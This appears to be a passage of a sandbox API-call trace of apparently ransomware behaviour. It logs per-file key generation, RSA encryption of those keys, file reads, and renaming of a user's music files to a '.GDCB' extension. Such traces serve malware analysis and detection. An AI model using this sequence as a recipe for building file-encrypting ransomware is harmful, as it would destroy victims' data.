(lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\Y-a5-Y5Z2Bd1xmD32cHW.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\y-a5-y5z2bd1xmd32chw.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\T0U3EmSD\\Y-a5-Y5Z2Bd1xmD32cHW.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\t0u3emsd\\y-a5-y5z2bd1xmd32chw.mp3.gdcb")) returned 1 [0140.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0140.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0140.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0140.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0141.008] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed168) returned 1 [0141.011] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.011] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.011] CryptGenRandom (in: hProv=0x2ed168, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.011] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0141.011] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.013] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.013] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.013] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.013] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.013] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.021] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8a00) returned 1 [0141.021] CryptGetKeyParam (in: hKey=0x28a8a00, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.021] CryptEncrypt (in: hKey=0x28a8a00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.021] GetLastError () returned 0x0 [0141.021] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.021] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0141.029] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8b00) returned 1 [0141.029] CryptGetKeyParam (in: hKey=0x28a8b00, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.029] CryptEncrypt (in: hKey=0x28a8b00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.029] GetLastError () returned 0x0 [0141.029] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0141.029] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\22j3l8d5gwBlYb.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\22j3l8d5gwblyb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.029] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.029] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.030] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x5351, lpOverlapped=0x0) returned 1 [0141.039] VirtualAlloc (lpAddress=0x0, dwSize=0x5360, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.042] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\22j3l8d5gwBlYb.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\22j3l8d5gwblyb.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\22j3l8d5gwBlYb.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\22j3l8d5gwblyb.mp3.gdcb")) returned 1 [0141.043] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.045] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.046] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.046] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.046] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.046] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0141.048] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.048] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.048] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.048] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0141.048] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0141.056] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8b40) returned 1 [0141.056] CryptGetKeyParam (in: hKey=0x28a8b40, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.056] CryptEncrypt (in: hKey=0x28a8b40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.056] GetLastError () returned 0x0 [0141.056] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0141.056] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.063] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8b80) returned 1 [0141.063] CryptGetKeyParam (in: hKey=0x28a8b80, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.063] CryptEncrypt (in: hKey=0x28a8b80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.063] GetLastError () returned 0x0 [0141.063] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.063] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\HK_SRBXCNwo6hKv3Yib.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\hk_srbxcnwo6hkv3yib.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.064] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.064] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.064] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x47dc, lpOverlapped=0x0) returned 1 [0141.075] VirtualAlloc (lpAddress=0x0, dwSize=0x47e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.078] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\HK_SRBXCNwo6hKv3Yib.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\hk_srbxcnwo6hkv3yib.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\HK_SRBXCNwo6hKv3Yib.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\hk_srbxcnwo6hkv3yib.mp3.gdcb")) returned 1 [0141.079] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecca0) returned 1 [0141.082] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.082] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.082] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.082] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0141.082] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.084] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.084] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.084] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.084] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.084] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.091] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8a40) returned 1 [0141.091] CryptGetKeyParam (in: hKey=0x28a8a40, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.091] CryptEncrypt (in: hKey=0x28a8a40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.092] GetLastError () returned 0x0 [0141.092] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.092] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.099] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8c40) returned 1 [0141.099] CryptGetKeyParam (in: hKey=0x28a8c40, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.099] CryptEncrypt (in: hKey=0x28a8c40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.100] GetLastError () returned 0x0 [0141.100] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.100] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\KtCdK3LGr9KL.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\ktcdk3lgr9kl.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.100] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.100] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.100] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x123c4, lpOverlapped=0x0) returned 1 [0141.111] VirtualAlloc (lpAddress=0x0, dwSize=0x123d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.116] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\KtCdK3LGr9KL.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\ktcdk3lgr9kl.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\KtCdK3LGr9KL.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\ktcdk3lgr9kl.wav.gdcb")) returned 1 [0141.119] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.122] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.122] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.122] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.122] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.122] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0141.124] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.124] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.124] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.124] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0141.124] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0141.132] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8c80) returned 1 [0141.132] CryptGetKeyParam (in: hKey=0x28a8c80, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.132] CryptEncrypt (in: hKey=0x28a8c80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.132] GetLastError () returned 0x0 [0141.132] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0141.132] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0141.140] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8d80) returned 1 [0141.140] CryptGetKeyParam (in: hKey=0x28a8d80, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.140] CryptEncrypt (in: hKey=0x28a8d80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.140] GetLastError () returned 0x0 [0141.140] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0141.140] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\sOg89QCB_MYsMq.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\sog89qcb_mysmq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.140] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.140] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.141] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xc32e, lpOverlapped=0x0) returned 1 [0141.149] VirtualAlloc (lpAddress=0x0, dwSize=0xc330, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.154] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\sOg89QCB_MYsMq.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\sog89qcb_mysmq.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\sOg89QCB_MYsMq.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\sog89qcb_mysmq.mp3.gdcb")) returned 1 [0141.155] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.157] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.157] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.157] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.157] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.157] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0141.159] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.160] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.160] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.160] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.160] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0141.167] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8dc0) returned 1 [0141.167] CryptGetKeyParam (in: hKey=0x28a8dc0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.167] CryptEncrypt (in: hKey=0x28a8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.167] GetLastError () returned 0x0 [0141.167] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0141.167] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.176] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8900) returned 1 [0141.176] CryptGetKeyParam (in: hKey=0x28a8900, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.176] CryptEncrypt (in: hKey=0x28a8900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.176] GetLastError () returned 0x0 [0141.176] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.176] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\TrUGiHFGXsM_7X.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\trugihfgxsm_7x.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.176] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.177] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.177] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x7349, lpOverlapped=0x0) returned 1 [0141.189] VirtualAlloc (lpAddress=0x0, dwSize=0x7350, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.194] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\TrUGiHFGXsM_7X.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\trugihfgxsm_7x.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\TrUGiHFGXsM_7X.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\trugihfgxsm_7x.wav.gdcb")) returned 1 [0141.195] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.198] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.198] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.198] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.198] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.198] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.200] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.201] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.201] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.201] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.201] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0141.211] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8400) returned 1 [0141.211] CryptGetKeyParam (in: hKey=0x28a8400, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.211] CryptEncrypt (in: hKey=0x28a8400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.211] GetLastError () returned 0x0 [0141.211] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.211] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0141.219] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a80c0) returned 1 [0141.219] CryptGetKeyParam (in: hKey=0x28a80c0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.219] CryptEncrypt (in: hKey=0x28a80c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.220] GetLastError () returned 0x0 [0141.220] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.220] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\UmYv\\xX723ly.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\umyv\\xx723ly.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 